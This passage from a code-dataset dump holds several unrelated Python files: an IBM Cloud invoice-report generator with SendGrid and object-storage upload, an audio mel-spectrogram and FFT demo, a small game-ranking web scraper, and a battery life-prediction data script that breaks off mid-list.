'$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:E\", 20, format2)\n worksheet.set_column(\"F:F\", 18, format1)\n\n #\n # Build a pivot table by for Forecasting NEW invoices form 1st to 20th and add to last Recurring Invoice to estimate\n # what the next recurringInvoice will be. Uses estimated monthly charges from all NEW invoices which occurred after\n # the recurring invoice. This forecast assumes, no deprovisioning and NEW additional invoices after 19th.\n invoicemonth = months[-1]\n newstart = invoicemonth + \"-01\"\n newend = invoicemonth + \"-19\"\n forecastR = classicUsage.query('IBM_Invoice_Month == @invoicemonth and Type == \"RECURRING\"')[['Portal_Invoice_Date', 'IBM_Invoice_Month','Type','Category','totalAmount']]\n forecastN = classicUsage.query('IBM_Invoice_Month == @invoicemonth and Type == \"NEW\" and Portal_Invoice_Date >= @newstart and Portal_Invoice_Date <= @newend ')[['Portal_Invoice_Date', 'IBM_Invoice_Month','Type','Category','NewEstimatedMonthly']]\n result = forecastR.append(forecastN).fillna(0)\n sum_column = result[\"totalAmount\"] + result[\"NewEstimatedMonthly\"]\n result[\"nextRecurring\"] = sum_column\n if len(result) > 0:\n newForecast = pd.pivot_table(result, index=[\"Category\"],\n values=[\"totalAmount\", \"NewEstimatedMonthly\", \"nextRecurring\"],\n aggfunc={'totalAmount': np.sum, 'NewEstimatedMonthly': np.sum, 'nextRecurring': np.sum }, margins=True, margins_name='Total', fill_value=0). \\\n rename(columns={'totalAmount': 'lastRecurringInvoice', 'NewEstimatedMonthly': 'NewEstimatedCharges'})\n\n column_order = ['lastRecurringInvoice', 'NewEstimatedCharges', 'nextRecurring']\n newForecast = newForecast.reindex(column_order, axis=1)\n newForecast.to_excel(writer, 'recurringForecast')\n worksheet = writer.sheets['recurringForecast']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:A\", 40, format2)\n worksheet.set_column(\"B:D\", 25, format1)\n\n #\n # Build a pivot table by Invoice Type\n #\n if len(classicUsage)>0:\n invoiceSummary = pd.pivot_table(classicUsage, index=[\"Type\", \"Category\"],\n values=[\"totalAmount\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'totalAmount': np.sum,}, margins=True, margins_name=\"Total\", fill_value=0).\\\n rename(columns={'totalRecurringCharge': 'TotalRecurring'})\n invoiceSummary.to_excel(writer, 'InvoiceSummary')\n worksheet = writer.sheets['InvoiceSummary']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:A\", 20, format2)\n worksheet.set_column(\"B:B\", 40, format2)\n worksheet.set_column(\"C:ZZ\", 18, format1)\n\n\n #\n # Build a pivot table by Category with totalRecurringCharges\n\n if len(classicUsage)>0:\n categorySummary = pd.pivot_table(classicUsage, index=[\"Type\", \"Category\", \"Description\"],\n values=[\"totalAmount\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'totalAmount': np.sum}, margins=True, margins_name=\"Total\", fill_value=0)\n categorySummary.to_excel(writer, 'CategorySummary')\n worksheet = writer.sheets['CategorySummary']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:A\", 40, format2)\n worksheet.set_column(\"B:B\", 40, format2)\n worksheet.set_column(\"C:ZZ\", 18, format1)\n\n #\n # Build a pivot table for Hourly VSI's with totalRecurringCharges\n #\n virtualServers = classicUsage.query('Category == [\"Computing Instance\"] and Hourly == [True]')\n if len(virtualServers) > 0:\n virtualServerPivot = pd.pivot_table(virtualServers, index=[\"Description\", \"OS\"],\n values=[\"Hours\", \"totalRecurringCharge\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'Description': len, 'Hours': np.sum, 'totalRecurringCharge': np.sum}, fill_value=0).\\\n rename(columns={\"Description\": 'qty', 'Hours': 'Total Hours', 'totalRecurringCharge': 'TotalRecurring'})\n virtualServerPivot.to_excel(writer, 'HrlyVirtualServerPivot')\n worksheet = writer.sheets['HrlyVirtualServerPivot']\n\n #\n # Build a pivot table for Monthly VSI's with totalRecurringCharges\n #\n monthlyVirtualServers = classicUsage.query('Category == [\"Computing Instance\"] and Hourly == [False]')\n if len(monthlyVirtualServers) > 0:\n virtualServerPivot = pd.pivot_table(monthlyVirtualServers, index=[\"Description\", \"OS\"],\n values=[\"totalRecurringCharge\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'Description': len, 'totalRecurringCharge': np.sum}, fill_value=0).\\\n rename(columns={\"Description\": 'qty', 'totalRecurringCharge': 'TotalRecurring'})\n virtualServerPivot.to_excel(writer, 'MnthlyVirtualServerPivot')\n worksheet = writer.sheets['MnthlyVirtualServerPivot']\n\n\n #\n # Build a pivot table for Hourly Bare Metal with totalRecurringCharges\n #\n bareMetalServers = classicUsage.query('Category == [\"Server\"]and Hourly == [True]')\n if len(bareMetalServers) > 0:\n bareMetalServerPivot = pd.pivot_table(bareMetalServers, index=[\"Description\", \"OS\"],\n values=[\"Hours\", \"totalRecurringCharge\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'Description': len, 'totalRecurringCharge': np.sum}, fill_value=0).\\\n rename(columns={\"Description\": 'qty', 'Hours': np.sum, 'totalRecurringCharge': 'TotalRecurring'})\n bareMetalServerPivot.to_excel(writer, 'HrlyBaremetalServerPivot')\n worksheet = writer.sheets['HrlyBaremetalServerPivot']\n\n #\n # Build a pivot table for Monthly Bare Metal with totalRecurringCharges\n #\n monthlyBareMetalServers = classicUsage.query('Category == [\"Server\"] and Hourly == [False]')\n if len(monthlyBareMetalServers) > 0:\n monthlyBareMetalServerPivot = pd.pivot_table(monthlyBareMetalServers, index=[\"Description\", \"OS\"],\n values=[\"totalRecurringCharge\"],\n columns=['IBM_Invoice_Month'],\n aggfunc={'Description': len, 'totalRecurringCharge': np.sum}, fill_value=0).\\\n rename(columns={\"Description\": 'qty', 'totalRecurringCharge': 'TotalRecurring'})\n monthlyBareMetalServerPivot.to_excel(writer, 'MthlyBaremetalServerPivot')\n worksheet = writer.sheets['MthlyBaremetalServerPivot']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:A\", 40, format2)\n worksheet.set_column(\"B:B\", 40, format2)\n\n # IF PaaS credential included add usage reports\n if len(paasUsage) >0:\n paasUsage.to_excel(writer, \"PaaS_Usage\")\n worksheet = writer.sheets['PaaS_Usage']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:C\", 12, format2)\n worksheet.set_column(\"D:E\", 25, format2)\n worksheet.set_column(\"F:G\", 18, format1)\n worksheet.set_column(\"H:I\", 25, format2)\n worksheet.set_column(\"J:J\", 18, format1)\n\n paasSummary = pd.pivot_table(paasUsage, index=[\"resource_name\"],\n values=[\"charges\"],\n columns=[\"invoiceMonth\"],\n aggfunc={'charges': np.sum, }, margins=True, margins_name=\"Total\",\n fill_value=0)\n paasSummary.to_excel(writer, 'PaaS_Summary')\n worksheet = writer.sheets['PaaS_Summary']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:A\", 35, format2)\n worksheet.set_column(\"B:ZZ\", 18, format1)\n\n paasSummaryPlan = pd.pivot_table(paasUsage, index=[\"resource_name\", \"plan_name\"],\n values=[\"charges\"],\n columns=[\"invoiceMonth\"],\n aggfunc={'charges': np.sum, }, margins=True, margins_name=\"Total\",\n fill_value=0)\n paasSummaryPlan.to_excel(writer, 'PaaS_Plan_Summary')\n worksheet = writer.sheets['PaaS_Plan_Summary']\n format1 = workbook.add_format({'num_format': '$#,##0.00'})\n format2 = workbook.add_format({'align': 'left'})\n worksheet.set_column(\"A:B\", 35, format2)\n worksheet.set_column(\"C:ZZ\", 18, format1)\n\n writer.save()\n\ndef multi_part_upload(bucket_name, item_name, file_path):\n try:\n logging.info(\"Starting file transfer for {0} to bucket: {1}\".format(item_name, bucket_name))\n # set 5 MB chunks\n part_size = 1024 * 1024 * 5\n\n # set threadhold to 15 MB\n file_threshold = 1024 * 1024 * 15\n\n # set the transfer threshold and chunk size\n transfer_config = ibm_boto3.s3.transfer.TransferConfig(\n multipart_threshold=file_threshold,\n multipart_chunksize=part_size\n )\n\n # the upload_fileobj method will automatically execute a multi-part upload\n # in 5 MB chunks for all files over 15 MB\n with open(file_path, \"rb\") as file_data:\n cos.Object(bucket_name, item_name).upload_fileobj(\n Fileobj=file_data,\n Config=transfer_config\n )\n logging.info(\"Transfer for {0} complete\".format(item_name))\n except ClientError as be:\n logging.error(\"CLIENT ERROR: {0}\".format(be))\n except Exception as e:\n logging.error(\"Unable to complete multi-part upload: {0}\".format(e))\n\ndef getAccountId(IC_API_KEY):\n ##########################################################\n ## Get Account from the passed API Key\n ##########################################################\n\n logging.info(\"Retrieving IBM Cloud Account ID for this ApiKey.\")\n try:\n authenticator = IAMAuthenticator(IC_API_KEY)\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n quit()\n try:\n iam_identity_service = IamIdentityV1(authenticator=authenticator)\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n quit()\n\n try:\n api_key = iam_identity_service.get_api_keys_details(\n iam_api_key=IC_API_KEY\n ).get_result()\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n quit()\n\n return api_key[\"account_id\"]\n\ndef sendEmail(startdate, enddate, sendGridTo, sendGridFrom, sendGridSubject, sendGridApi, outputname):\n # Send output to email distributionlist via SendGrid\n\n html = (\"

    invoiceAnalysis Output Attached for {} to {}

    \".format(datetime.strftime(startdate, \"%m/%d/%Y\"), datetime.strftime(enddate, \"%m/%d/%Y\")))\n\n to_list = Personalization()\n for email in sendGridTo.split(\",\"):\n to_list.add_to(Email(email))\n\n message = Mail(\n from_email=sendGridFrom,\n subject=sendGridSubject,\n html_content=html\n )\n\n message.add_personalization(to_list)\n\n # create attachment from file\n file_path = os.path.join(\"./\", outputname)\n with open(file_path, 'rb') as f:\n data = f.read()\n f.close()\n encoded = base64.b64encode(data).decode()\n attachment = Attachment()\n attachment.file_content = FileContent(encoded)\n attachment.file_type = FileType('application/xlsx')\n attachment.file_name = FileName(outputname)\n attachment.disposition = Disposition('attachment')\n attachment.content_id = ContentId('invoiceAnalysis')\n message.attachment = attachment\n try:\n sg = SendGridAPIClient(sendGridApi)\n response = sg.send(message)\n logging.info(\"Email Send succesfull to {}, status code = {}.\".format(sendGridTo,response.status_code))\n except Exception as e:\n logging.error(\"Email Send Error, status code = %s.\" % e.to_dict)\n return\n\ndef accountUsage(IC_API_KEY, IC_ACCOUNT_ID, startdate, enddate):\n ##########################################################\n ## Get Usage for Account matching recuring invoice periods\n ##########################################################\n\n accountUsage = pd.DataFrame(columns=['usageMonth',\n 'invoiceMonth',\n 'resource_name',\n 'plan_name',\n 'billable_charges',\n 'non_billable_charges',\n 'unit',\n 'quantity',\n 'charges']\n )\n\n try:\n authenticator = IAMAuthenticator(IC_API_KEY)\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n error = (\"API exception {}.\".format(str(e)))\n return accountUsage, error\n try:\n usage_reports_service = UsageReportsV4(authenticator=authenticator)\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n error = (\"API exception {}.\".format(str(e)))\n return accountUsage, error\n\n # PaaS consumption is delayed by one recurring invoice (ie April usage on June 1 recurring invoice)\n paasStart = startdate - relativedelta(months=1)\n paasEnd = enddate - relativedelta(months=2)\n\n while paasStart <= paasEnd + relativedelta(days=1):\n usageMonth = paasStart.strftime('%Y-%m')\n recurringMonth = paasStart + relativedelta(months=2)\n recurringMonth = recurringMonth.strftime('%Y-%m')\n logging.info(\"Retrieving PaaS Usage from {}.\".format(usageMonth))\n try:\n usage = usage_reports_service.get_account_usage(\n account_id=IC_ACCOUNT_ID,\n billingmonth=usageMonth,\n names=True\n ).get_result()\n except ApiException as e:\n logging.error(\"API exception {}.\".format(str(e)))\n quit()\n paasStart += relativedelta(months=1)\n for u in usage['resources']:\n for p in u['plans']:\n for x in p['usage']:\n row = {\n 'usageMonth': usageMonth,\n 'invoiceMonth': recurringMonth,\n 'resource_name': u['resource_name'],\n 'billable_charges': u[\"billable_cost\"],\n 'non_billable_charges': u[\"non_billable_cost\"],\n 'plan_name': p[\"plan_name\"],\n 'unit': x[\"unit\"],\n 'quantity': x[\"quantity\"],\n 'charges': x[\"cost\"],\n }\n accountUsage = accountUsage.append(row, ignore_index=True)\n return accountUsage\n\nif __name__ == \"__main__\":\n setup_logging()\n parser = argparse.ArgumentParser(\n description=\"Export usage detail by invoice month to an Excel file for all IBM Cloud Classic invoices and corresponding lsPaaS Consumption.\")\n parser.add_argument(\"-k\", \"--IC_API_KEY\", default=os.environ.get('IC_API_KEY', None), metavar=\"apikey\", help=\"IBM Cloud API Key\")\n parser.add_argument(\"-s\", \"--startdate\", default=os.environ.get('startdate', None), metavar=\"YYYY-MM\", help=\"Start Year & Month in format YYYY-MM\")\n parser.add_argument(\"-e\", \"--enddate\", default=os.environ.get('enddate', None), metavar=\"YYYY-MM\", help=\"End Year & Month in format YYYY-MM\")\n parser.add_argument(\"-m\", \"--months\", default=os.environ.get('months', None), help=\"Number of months including last full month to include in report.\")\n parser.add_argument(\"--COS_APIKEY\", default=os.environ.get('COS_APIKEY', None), help=\"COS apikey to use for Object Storage.\")\n parser.add_argument(\"--COS_ENDPOINT\", default=os.environ.get('COS_ENDPOINT', None), help=\"COS endpoint to use for Object Storage.\")\n parser.add_argument(\"--COS_INSTANCE_CRN\", default=os.environ.get('COS_INSTANCE_CRN', None), help=\"COS Instance CRN to use for file upload.\")\n parser.add_argument(\"--COS_BUCKET\", default=os.environ.get('COS_BUCKET', None), help=\"COS Bucket name to use for file upload.\")\n parser.add_argument(\"--sendGridApi\", default=os.environ.get('sendGridApi', None), help=\"SendGrid ApiKey used to email output.\")\n parser.add_argument(\"--sendGridTo\", default=os.environ.get('sendGridTo', None), help=\"SendGrid comma deliminated list of emails to send output to.\")\n parser.add_argument(\"--sendGridFrom\", default=os.environ.get('sendGridFrom', None), help=\"Sendgrid from email to send output from.\")\n parser.add_argument(\"--sendGridSubject\", default=os.environ.get('sendGridSubject', None), help=\"SendGrid email subject for output email\")\n parser.add_argument(\"--output\", default=os.environ.get('output', 'invoice-analysis.xlsx'), help=\"Filename Excel output file. (including extension of .xlsx)\")\n parser.add_argument(\"--SL_PRIVATE\", default=False, action=argparse.BooleanOptionalAction, help=\"Use IBM Cloud Classic Private API Endpoint\")\n\n args = parser.parse_args()\n\n if args.months != None:\n months = int(args.months)\n dallas=tz.gettz('US/Central')\n today=datetime.today().astimezone(dallas)\n if today.day > 19:\n enddate=today.strftime('%Y-%m')\n startdate = today - relativedelta(months=months-1)\n startdate = startdate.strftime(\"%Y-%m\")\n else:\n enddate = today - relativedelta(months=1)\n enddate=enddate.strftime('%Y-%m')\n startdate = today - relativedelta(months=(months))\n startdate = startdate.strftime(\"%Y-%m\")\n else:\n if args.startdate == None or args.enddate == None:\n logging.error(\"You must provide either a number of months (-m) or a start (-s) and end month (-e) in the format of YYYY-MM.\")\n quit()\n else:\n startdate = args.startdate\n enddate = args.enddate\n\n if args.IC_API_KEY == None:\n logging.error(\"You must provide an IBM Cloud ApiKey with billing View authority to run script.\")\n quit()\n\n IC_API_KEY = args.IC_API_KEY\n\n # Calculate invoice dates based on SLIC invoice cutoffs.\n startdate, enddate = getInvoiceDates(startdate, enddate)\n\n # Change endpoint to private Endpoint if command line open chosen\n if args.SL_PRIVATE:\n SL_ENDPOINT = \"https://api.service.softlayer.com/xmlrpc/v3.1\"\n else:\n SL_ENDPOINT = \"https://api.softlayer.com/xmlrpc/v3.1\"\n\n # Retrieve Invoices from classic\n classicUsage = getInvoiceDetail(IC_API_KEY, SL_ENDPOINT, startdate, enddate)\n\n # Retrieve Usage from IBM Cloud\n IC_ACCOUNT_ID = getAccountId(IC_API_KEY)\n\n paasUsage = accountUsage(IC_API_KEY, IC_ACCOUNT_ID, startdate, enddate)\n\n # Build Exel Report\n createReport(args.output, classicUsage, paasUsage)\n\n if args.sendGridApi != None:\n sendEmail(startdate, enddate, args.sendGridTo, args.sendGridFrom, args.sendGridSubject, args.sendGridApi, args.output)\n\n # upload created file to COS if COS credentials provided\n if args.COS_APIKEY != None:\n cos = ibm_boto3.resource(\"s3\",\n ibm_api_key_id=args.COS_APIKEY,\n ibm_service_instance_id=args.COS_INSTANCE_CRN,\n config=Config(signature_version=\"oauth\"),\n endpoint_url=args.COS_ENDPOINT\n )\n multi_part_upload(args.COS_BUCKET, args.output, \"./\" + args.output)\n\n if args.sendGridApi != None or args.COS_APIKEY != None:\n #cleanup file if written to COS or sendvia email\n logging.info(\"Deleting {} local file.\".format(args.output))\n os.remove(\"./\"+args.output)\n logging.info(\"invoiceAnalysis complete.\")","repo_name":"jonghall/invoiceAnalysis","sub_path":"invoiceAnalysis.py","file_name":"invoiceAnalysis.py","file_ext":"py","file_size_in_byte":38043,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20666802610","text":"# -*- coding: utf-8 -*-\n# @File mel.py\n# @Time 2020/11/18 10:04\n# @Author wcy\n# @Software: PyCharm\n# @Site\nimport os\nimport matplotlib.pyplot as plt\nimport librosa.display\nimport numpy as np\nimport librosa\nfrom tqdm import tqdm\nfrom pylab import mpl\nmpl.rcParams[\"font.sans-serif\"] = [\"SimHei\"]\n\n\ndef get_random_wave(frequency, sr=8000, amplitude=1, initial_phase=0, show_T=1):\n \"\"\"\n 返回对应频率的二维波形\n :param sr: 采样率\n :param frequency: 频率\n :param initial_phase: 初相\n :param amplitude: 振幅\n :param show_T: 显示多少秒对应频率的波形\n :return:\n \"\"\"\n sampling_rate = sr # 一个周期采样数(采样率)\n sample = sampling_rate * show_T # 总采样数\n if frequency == 0:\n return np.array([amplitude] * (sample - 1), np.float64)\n angular_frequency = 2 * np.pi * frequency # 角频率\n t = np.linspace(0, show_T, sample) # 时间数组\n t = t[:-1] # t[-1] 是另一个周期的起点需要去掉\n y = amplitude * np.cos(angular_frequency * t + initial_phase)\n # plt.plot(t, y)\n # plt.show()\n return y\n\n\ndef get_y(sr=8000):\n y11 = get_random_wave(1024, sr=sr)\n y12 = get_random_wave(3000, sr=sr)\n y1 = y11 + y12\n y21 = get_random_wave(1023, sr=sr)\n y22 = get_random_wave(3001, sr=sr)\n y2 = y21 + y22\n y = np.concatenate((y1, y2))\n return y\n\n\ndef get_y1(sr=8000):\n y = np.zeros_like(get_random_wave(0, sr=sr))\n for i in tqdm(np.arange(1, 5000, 2)):\n y += get_random_wave(i, sr=sr) / i\n return y\n\n\ndef get_y2(*frequencys, sr=8000, amplitude=1, initial_phase=0, show_T=1):\n \"\"\"\n 获取多个频率组合成的一维信号\n :param frequencys: 需要的频率数组\n :param sr: 采样率\n :return: 多个频率组合成的一维信号\n \"\"\"\n y = np.zeros_like(get_random_wave(0, sr=sr))\n for frequency in frequencys:\n y += get_random_wave(frequency, sr=sr, amplitude=amplitude, initial_phase=initial_phase, show_T=show_T)\n return y\n\n\ndef get_y3(frequencys: list, sr=8000, amplitude=None, initial_phase=None, show_T=1):\n \"\"\"\n 获取多个频率组合成的一维信号\n :param frequencys: 需要的频率数组\n :param sr: 采样率\n :param amplitude:\n :param initial_phase:\n :param show_T:\n :return: 多个频率组合成的一维信号\n \"\"\"\n if amplitude is None:\n amplitude = [1] * len(frequencys)\n if initial_phase is None:\n initial_phase = [0] * len(frequencys)\n y = np.zeros_like(get_random_wave(0, sr=sr))\n for i, frequency in enumerate(frequencys):\n y += get_random_wave(frequency, sr=sr, amplitude=amplitude[i], initial_phase=initial_phase[i], show_T=show_T)\n return y\n\n\ndef mel1(y, sr=8000):\n # 采样频率应至少为最高频率的2倍,为避免边缘混叠,最好大于2.56倍 https://www.zhihu.com/question/50501790\n # 当关心频率成分时,可以按2.56倍的关系设置采样频率;但如果关心信号的幅值(时域),那样,采样频率应设置成关心的最高频率的10倍以上,才不会使信号幅值有明显的失真。\n sr = 50000\n # y = y[:sr * 50]\n y = get_y2(500, 1000, 1500, 2000, 2500, 3000, 3500, 4000, 4500, 5000, 5500, 6000, 6500, 7000, 7500, 8000, 8500,\n 9000, 10000, 20000, 30000, 40000, 50000, sr=sr)\n # plt.plot(np.linspace(0, 2, len(y))[:1000], y[:1000])\n # plt.show()\n # 提取 mel spectrogram feature\n\n n_fft = 1024\n hop_length = 512\n win_length = None\n power = 1.0\n n_mels = 40\n fmin = 0.\n fmax = sr / 2\n if fmax is None:\n fmax = float(sr) / 2\n # 直接调用函数计算梅尔频谱\n melspec1 = librosa.feature.melspectrogram(y, sr, n_fft=n_fft, hop_length=hop_length, n_mels=n_mels,\n win_length=win_length, power=power, fmin=fmin, fmax=fmax)\n # 自行计算梅尔频谱\n spec = librosa.stft(y, n_fft=n_fft, hop_length=512, win_length=win_length, center=True)\n amplitude_spec = np.abs(spec) ** power\n # 构建梅尔滤波器\n mel_basis = librosa.filters.mel(sr=sr, n_fft=n_fft, n_mels=n_mels, fmin=fmin, fmax=fmax)\n melspec2 = np.dot(mel_basis, amplitude_spec)\n\n logmelspec0 = librosa.power_to_db(amplitude_spec, top_db=80) # 转换为对数刻度\n logmelspec1 = librosa.power_to_db(melspec1, top_db=80) # 转换为对数刻度\n logmelspec2 = librosa.power_to_db(melspec2, top_db=80) # 转换为对数刻度\n\n plt.figure()\n librosa.display.specshow(logmelspec0, sr=sr, hop_length=hop_length, x_axis='time', y_axis='hz')\n # librosa.display.specshow(logmelspec0, sr=sr, x_axis='time', y_axis='mel')\n plt.colorbar(format='%+2.0f dB') # 右边的色度条\n plt.title('spec')\n plt.show()\n\n # 绘制 mel 频谱图\n plt.figure()\n # librosa.display.specshow(logmelspec, sr=sr, x_axis='time', y_axis='hz')\n librosa.display.specshow(melspec1, sr=sr, hop_length=hop_length, x_axis='time', y_axis='mel', fmin=fmin, fmax=fmax)\n plt.colorbar(format='%+2.0f dB') # 右边的色度条\n plt.title('melspec1')\n plt.show()\n\n plt.figure()\n # librosa.display.specshow(logmelspec, sr=sr, x_axis='time', y_axis='hz')\n librosa.display.specshow(logmelspec2, sr=sr, hop_length=hop_length, x_axis='time', y_axis='mel', fmin=fmin,\n fmax=fmax)\n plt.colorbar(format='%+2.0f dB') # 右边的色度条\n plt.title('melspec2')\n plt.show()\n\n\ndef mel2(y):\n # X = librosa.stft(audio_datas)\n # X = np.abs(X)\n # melW = librosa.filters.mel(sr=sr, n_fft=X.shape[1] * 2, n_mels=40, fmin=0., fmax=22100)\n # melW /= np.max(melW, axis=-1)[:, None]\n # melX = np.dot(X, melW.T)\n print()\n\n\ndef fft():\n sr = 768\n # y = get_y2(100, 200, 300, sr=sr)\n y = get_y3([0, 50, 75], sr=sr, amplitude=[2, 3, 1.5],\n initial_phase=[0 * np.pi / 180, -30 * np.pi / 180, 90 * np.pi / 180])\n t = np.linspace(0, 1, len(y))\n f = np.fft.fft(y)\n freal = f.real\n fimag = f.imag\n norm = np.abs(f) # 模\n phase = np.angle(f) # 初相\n phase1 = np.arctan2(fimag, freal)\n Fn = np.arange(0, len(y)) * sr / len(y) # 某点n所表示的频率\n y_amplitude = np.concatenate(((norm / len(y))[:1], (norm / (len(y) / 2))[1:]))\n y_amplitude1 = (np.abs(np.fft.fft(y, n=767 * 6)) / (767 / 2))[50 * 6]\n angle = phase * 180 / np.pi\n angle1 = phase1 * 180 / np.pi\n\n fig, axes = plt.subplots(6, 1, figsize=(8, 18))\n axes[0].plot(t, y, label=\"原始波形\")\n axes[0].set_xlabel(\"time (s)\")\n axes[0].set_ylabel(\"signal\")\n axes[0].set_xlim(0, 0.3)\n axes[0].legend()\n Y = np.zeros_like(y)\n label = \"\"\n for i, frequency in enumerate([0, 1, 50, 75]):\n label+=f\"{str(frequency)} \"\n # 频率为i的波形\n y_ = y_amplitude[frequency] * np.cos(2 * np.pi * Fn[frequency] * t + phase[frequency])\n Y += y_\n axes[i+1].plot(t, Y, color=\"green\", lw=2, label=f\"{label}的波形\")\n axes[i+1].set_xlabel(\"time (s)\")\n axes[i+1].set_ylabel(\"signal\")\n axes[i+1].legend()\n axes[i+1].set_xlim(0, 0.3)\n norm_shift = np.fft.fftshift(f)\n y1 = np.fft.ifft(f)\n y1_abs = np.abs(y1)\n y1_real = y1.real\n y1_imag = y1.imag\n axes[5].plot(t, y1_real+y1_imag, color=\"blue\", lw=2, label=f\"还原的波形\")\n axes[5].set_xlabel(\"time (s)\")\n axes[5].set_ylabel(\"signal\")\n axes[5].set_xlim(0, 0.3)\n axes[5].legend()\n plt.show()\n print()\n\n\nif __name__ == '__main__':\n root = r\"E:\\DATA\\坐席辅助项目\\坐席辅助公积金的录音下载文件\\录音下载\"\n root = r\"/home/wcirq/Music\"\n audio_file = os.path.join(root, \"苏晗 - 没人再回来.flac\")\n # audio_datas, sr = librosa.load(audio_file, sr=8000)\n # mel1(audio_datas, sr)\n fft()\n","repo_name":"wcirq/AudioDataProcessing","sub_path":"test/mel.py","file_name":"mel.py","file_ext":"py","file_size_in_byte":7793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4095208166","text":"import requests\nimport urllib.parse\nfrom bs4 import BeautifulSoup as bs\n\ncode=input(\"name\")\nencode = urllib.parse.quote_plus(code)\na=requests.get(\"https://lolchess.gg/profile/kr/\"+encode)\nreq=a.text\nsoup=bs(req,'html.parser')\n#더블업모드 티어 및 LP\nb=soup.find_all('div','tier-ranked-info__content')[1]\nif b.find('strong'):\n tier=b.find('strong').text\n tier=str(tier).strip()\n LP=b.find('span').text\n LP=LP[:-2]\n\nelse:\n tier=b.find('span').text\n LP=0\n\n\n\nprint(str(tier))\nprint(int(LP))\n\n","repo_name":"gganbuGG/gganbu_back2","sub_path":"bs4test.py","file_name":"bs4test.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15336801554","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import interpolate\nmetadata = np.load('ne_data/meta_data.npy', allow_pickle=True)\nfc_metadata = np.load('ne_data/fastcharge_meta.npy', allow_pickle=True)\n# print(type(metadata[0]+metadata[1]))\ndef filter_out_training_extremes(data, ruls, threshold=0.05, rounds=10):\n for _ in range(rounds):\n dataidx = 1\n while dataidx < data.shape[0]:\n if data[dataidx][0] > data[dataidx - 1][0] + threshold:\n data = np.vstack((data[:dataidx], data[dataidx + 1:]))\n # ruls = np.hstack((ruls[:dataidx], ruls[dataidx + 1:]))\n if data[dataidx][0] < data[dataidx - 1][0] - threshold:\n data = np.vstack((data[:dataidx], data[dataidx + 1:]))\n # ruls = np.hstack((ruls[:dataidx], ruls[dataidx ]))\n dataidx += 1\n ruls = ruls[-data.shape[0]:]\n return data, ruls\n\ndef interp(x, y, num, ruls):\n ynew = []\n for i in range(y.shape[1]):\n f = interpolate.interp1d(x, y[:, i], kind='linear')\n x_new = np.linspace(x[0], x[-1], num)\n ytmp = f(x_new)\n ynew.append(ytmp)\n ynew = np.vstack(ynew)\n ynew = ynew.T\n newruls = [i for i in range(1, ynew.shape[0] + 1)]\n newruls.reverse()\n newruls = np.array(newruls).astype(float)\n new_right_end_value = ruls[-1] * (num/len(x))\n for i in range(len(newruls)):\n newruls[i] += new_right_end_value\n return ynew, newruls\n\n\nnamelist = metadata[0] + metadata[1]\nfcnamelist = fc_metadata\nfor displayidx in range(0, 1):\n for batteryname in namelist:\n name = 'ne_data/' + batteryname + 'v4.npy'\n rul = 'ne_data/' + batteryname + '_rulv4.npy'\n a0 = np.load(name, allow_pickle=True)\n ruls = np.load(rul, allow_pickle=True)\n ratio = 1/1.2\n # print(ruls[-1])\n # newruls = change_ruls(ruls, ratio)\n # print(newruls)\n seqlen = a0.shape[0]\n\n data, allrul = filter_out_training_extremes(a0, ruls, threshold=0.05)\n # print(allrul)\n sohs = data[:, 0]\n newdata, newrul = interp([i for i in range(data.shape[0])], data,\n int(ratio*data.shape[0]), allrul)\n # print(newrul)\n # if data.shape[0] != allrul.shape[0]:\n # print('error')\n # else:\n # print(data.shape, allrul.shape)\n\n plt.plot([i for i in range(len(data))], data[:, displayidx], )\n # plt.plot([i for i in range(len(newdata))], newdata[:, displayidx], )\n for batteryname in fcnamelist:\n name = 'ne_data/' + batteryname + 'charge_v4.npy'\n rul = 'ne_data/' + batteryname + 'charge_rulv4.npy'\n a0 = np.load(name, allow_pickle=True)\n ruls = np.load(rul, allow_pickle=True)\n ratio = 1/1.2\n # print(ruls[-1])\n # newruls = change_ruls(ruls, ratio)\n # print(newruls)\n seqlen = a0.shape[0]\n data, allrul = a0, ruls\n # data, allrul = filter_out_training_extremes(a0, ruls, threshold=0.05)\n # print(allrul)\n sohs = data[:, 0]\n newdata, newrul = interp([i for i in range(data.shape[0])], data,\n int(ratio*data.shape[0]), allrul)\n plt.plot([i for i in range(len(data))], data[:, displayidx], )\n # plt.savefig('train.jpg')\n plt.xlim((0, 500))\n plt.show()\nexit(0)\nnew_valid = ['4-3', '5-7', '3-3', '2-3', '9-3', '10-5', '3-2', '3-7']\nnew_train = ['9-1', '2-2', '4-7', '9-7', '1-8', '4-6', '2-7', '8-4', '7-2', '10-3', '2-4', '7-4', '3-4',\n '5-4', '8-7', '7-7', '4-4', '1-3', '7-1', '5-2', '6-4', '9-8', '9-5', '6-3', '10-8', '1-6', '3-5',\n '2-6', '3-8', '3-6', '4-8', '7-8', '5-1', '2-8', '8-2', 